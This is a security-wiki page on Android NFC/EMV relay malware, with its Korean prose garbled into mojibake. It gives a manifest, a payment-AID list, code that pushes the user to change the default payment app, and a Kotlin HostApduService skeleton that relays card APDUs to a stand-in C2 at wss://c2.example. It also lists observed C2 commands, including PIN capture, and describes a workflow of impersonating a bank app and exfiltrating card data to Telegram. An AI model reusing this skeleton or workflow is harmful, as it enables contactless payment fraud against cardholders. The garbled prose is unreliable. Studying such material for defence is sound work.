Android HCE NFC/EMV Relay Attacks
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
๊ฐ์
Android Host Card Emulation (HCE)์ ์ ์ฉ์ ๊ธฐ๋ณธ NFC ๊ฒฐ์ ์๋น์ค๋ก ์ค์ ๋ ์ ์ฑ ์ฑ์ด EMV ๋น์ ์ด์ ๊ฑฐ๋๋ฅผ ์ค์๊ฐ์ผ๋ก ์ค๊ณํ ์ ์๊ฒ ํฉ๋๋ค. POS ๋จ๋ง๊ธฐ๋ ์ ํ๊ธฐ์ ISO 14443-4/EMV๋ก ํต์ ํ๊ณ ; ์ฑ์ HostApduService๋ APDUs๋ฅผ ์์ ํ์ฌ ์๋ฐฉํฅ C2(์ข ์ข WebSocket)๋ฅผ ํตํด ์๋ต์ ์์ฑํ๋ ๋ฐฑ์๋๋ก ์ ๋ฌํ๋ฉฐ, ๊ทธ ์๋ต์ด ๋ค์ POS๋ก ์ค๊ณ๋ฉ๋๋ค. ์ด๋ ๋ก์ปฌ ์นด๋ ๋ฐ์ดํฐ ์์ด ์ค์๊ฐ ์นด๋ ์๋ฎฌ๋ ์ด์ ์ ๊ฐ๋ฅํ๊ฒ ํฉ๋๋ค. ๋๊ท๋ชจ๋ก ๊ด์ฐฐ๋ ์บ ํ์ธ๋ค์ ์ํ/์ ๋ถ ์ฑ์ผ๋ก ๊ฐ์ฅํ์ฌ ๊ธฐ๋ณธ ๊ฒฐ์ ์ฑ์ด ๋๋๋ก ์์ฒญํ๊ณ , ๊ธฐ๊ธฐ/์นด๋ ๋ฐ์ดํฐ๋ฅผ Telegram ๋ด/์ฑ๋๋ก ์๋ ํ์ทจํฉ๋๋ค.
์ฃผ์ ํน์ง
- Android ๊ตฌ์ฑ์์: HostApduService + ๊ธฐ๋ณธ NFC ๊ฒฐ์ ํธ๋ค๋ฌ(์นดํ ๊ณ ๋ฆฌ โpaymentโ)
- ์ ์ก/C2: APDU ์ค๊ณ๋ฅผ ์ํ WebSocket; ํ์ทจ/์ด์์ ์ํ Telegram bot API
- ์ด์์ ์ํฌํ๋ก์ฐ: ๊ตฌ์กฐํ๋ ๋ช ๋ น๋ค (login, register_device, apdu_command/apdu_response, get_pin/pin_response, paired, check_status, update_required, telegram_notification, error)
- ์ญํ : scanner (EMV ๋ฐ์ดํฐ ์ฝ๊ธฐ) vs tapper (HCE/relay) ๋น๋
์ต์ ๊ตฌํ ๊ตฌ์ฑ ์์
Manifest (๊ธฐ๋ณธ ๊ฒฐ์ HCE ์๋น์ค๊ฐ ๋๊ธฐ)
<uses-feature android:name="android.hardware.nfc.hce" android:required="true"/>
<uses-permission android:name="android.permission.NFC"/>
<application ...>
<service
android:name=".EmvRelayService"
android:exported="true"
android:permission="android.permission.BIND_NFC_SERVICE">
<intent-filter>
<action android:name="android.nfc.cardemulation.action.HOST_APDU_SERVICE"/>
</intent-filter>
<meta-data
android:name="android.nfc.cardemulation.host_apdu_service"
android:resource="@xml/aid_list"/>
</service>
</application>
EMV ๊ฒฐ์ ์นดํ ๊ณ ๋ฆฌ์ ์์ AID ๋ชฉ๋ก (๊ธฐ๋ณธ ๊ฒฐ์ ๋ก ์ค์ ๋ ์ฑ๋ง ์ด๋ฌํ AID์ ์๋ตํ ์ ์์):
<?xml version="1.0" encoding="utf-8"?>
<host-apdu-service xmlns:android="http://schemas.android.com/apk/res/android"
android:description="@string/app_name"
android:requireDeviceUnlock="false">
<aid-group android:category="payment" android:description="@string/app_name">
<!-- PPSE (2PAY.SYS.DDF01) routing -->
<aid-filter android:name="325041592E5359532E4444463031"/>
<!-- Common EMV AIDs (examples): -->
<aid-filter android:name="A0000000031010"/> <!-- VISA credit/debit -->
<aid-filter android:name="A0000000041010"/> <!-- MasterCard -->
<aid-filter android:name="A00000002501"/> <!-- AmEx -->
</aid-group>
</host-apdu-service>
์ฌ์ฉ์์๊ฒ ๊ธฐ๋ณธ ๊ฒฐ์ ์ฑ์ ์ค์ ํ๋๋ก ์์ฒญ (OS ์ค์ ์ ์ฝ๋๋ค):
val intent = Intent("android.settings.NFC_PAYMENT_SETTINGS")
startActivity(intent)
HostApduService ๋ฆด๋ ์ด ์ค์ผ๋ ํค
class EmvRelayService : HostApduService() {
private var ws: okhttp3.WebSocket? = null
override fun onCreate() {
super.onCreate()
// Establish C2 WebSocket early; authenticate and register device
val client = okhttp3.OkHttpClient()
val req = okhttp3.Request.Builder().url("wss://c2.example/ws").build()
ws = client.newWebSocket(req, object : okhttp3.WebSocketListener() {})
}
override fun processCommandApdu(commandApdu: ByteArray?, extras: Bundle?): ByteArray {
// Marshal APDU to C2 and block until response
val id = System.nanoTime()
val msg = mapOf(
"type" to "apdu_command",
"id" to id,
"data" to commandApdu!!.toHex()
)
val response = sendAndAwait(msg) // wait for matching apdu_response{id}
return response.hexToBytes()
}
override fun onDeactivated(reason: Int) {
ws?.send("{\"type\":\"card_removed\"}")
}
private fun sendAndAwait(m: Any): String {
// Implement correlation + timeout; handle error/blocked status
// ...
return "9000" // fall back to SW success if needed
}
}
์ ์์ฌํญ: ๋ฐฑ๊ทธ๋ผ์ด๋ ์๋น์ค๋ POS ํ์์์ ์์ฐ(์ฝ ์๋ฐฑ ms) ๋ด์ APDU๋ณ๋ก ์๋ตํด์ผ ํฉ๋๋ค; ์ ์ง์ฐ socket์ ์ ์งํ๊ณ C2์ pre-auth๋ฅผ ์ ์งํ์ธ์. ํ์ํ๋ฉด ํฌ๊ทธ๋ผ์ด๋ ์๋น์ค๋ฅผ ์ฌ์ฉํด ํ๋ก์ธ์ค ์ข ๋ฃ ์ดํ์๋ ์ง์์ํค์ธ์.
์ผ๋ฐ์ ์ธ C2 ๋ช ๋ น ์งํฉ (๊ด์ฐฐ๋จ)
login / login_response
register / register_device / register_response
logout
apdu_command / apdu_response
card_info / clear_card_info / card_removed
get_pin / pin_response
check_status / status_response
paired / unpaired
update_required
telegram_notification / telegram_response
error
EMV ๋น์ ์ด ๊ตํ (์ ๋ฌธ)
The POS drives the flow; the HCE app simply relays APDUs:
- SELECT PPSE (2PAY.SYS.DDF01)
- 00 A4 04 00 0E 32 50 41 59 2E 53 59 53 2E 44 44 46 30 31 00
- SELECT application AID (e.g., VISA A0000000031010)
- 00 A4 04 00 len
00 - GET PROCESSING OPTIONS (GPO)
- 80 A8 00 00 Lc
00 - READ RECORD(S) per AFL
- 00 B2 <SFI/record> 0C 00
- GENERATE AC (ARQC/TC)
- 80 AE 80 00 Lc
00
In a relay, the backend crafts valid FCI/FCP, AFL, records and a cryptogram; the phone only forwards bytes.
์ค์ ์์ ๊ด์ฐฐ๋ ์ด์์ ์ํฌํ๋ก์ฐ
- Deception + install: app re-skins as bank/gov portal, presents full-screen WebView and immediately requests to become default NFC payment app.
- Event-triggered activation: NFC tap wakes HostApduService; the relay begins.
- Scanner/Tapper roles: one build reads EMV data from a victim card (PAN, exp, tracks, device/EMV fields) and exfiltrates; another build (or the same device later) performs HCE relay to a POS.
- Exfiltration: device/card data is auto-posted to private Telegram channels/bots; WebSocket coordinates sessions and UI prompts (e.g., on-device PIN UI).
References
- Zimperium โ Tap-and-Steal: The Rise of NFC Relay Malware on Mobile Devices
- Android HostApduService
- Android HCE and Card Emulation docs
- Zimperium IOCs โ 2025-10-NFCStealer
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


